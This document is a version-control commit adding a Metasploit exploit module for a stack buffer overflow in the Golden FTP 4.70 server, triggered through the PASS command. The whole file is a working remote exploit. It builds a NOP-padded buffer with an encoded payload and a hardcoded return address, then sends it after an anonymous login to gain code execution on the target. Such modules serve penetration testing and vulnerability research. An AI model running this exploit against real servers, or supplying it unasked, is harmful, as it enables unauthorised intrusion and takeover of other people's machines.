Added GoldenFTP exploit

git-svn-id: file:///home/svn/framework3/trunk@12812 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/goldenftp_pass_bof.rb

@@ -0,0 +1,90 @@
+#
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = AverageRanking
+
+	include Msf::Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a vulnerability in the Golden
+				FTP service. This module uses the PASS command to trigger the overflow.
+			},
+			'Author'         => [ 'bannedit' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'BID', '45957 '],
+					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 350,
+					'BadChars' => "\x00\x0a\x0d",
+				},
+			'Platform'       => ['win'],
+			'Targets'        =>
+				[
+					[
+						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
+						{
+							'Platform' => 'win',
+							'Ret'      => 0x00a93ca6,
+						},
+					]
+
+				],
+			'DisclosureDate' => 'Jan 23 2011'))
+	end
+	
+	def check
+		connect
+		disconnect
+		print_status("FTP Banner: #{banner}".strip)
+		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
+			return Exploit::CheckCode::Appears
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def exploit
+		if datastore['RHOST'].length < 15
+			pad = make_nops(1) * (15 - datastore['RHOST'].length)
+		end
+		
+		sploit = make_nops(4) * 38
+		sploit << payload.encoded
+		sploit << pad
+		sploit << make_nops(1) * (528 - sploit.length)
+		sploit << [target.ret].pack('V')
+
+		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
+		begin
+			connect
+			send_user("anonymous")
+			send_cmd(['PASS', sploit], false)
+			handler
+		rescue EOFError
+		end
+	end
+end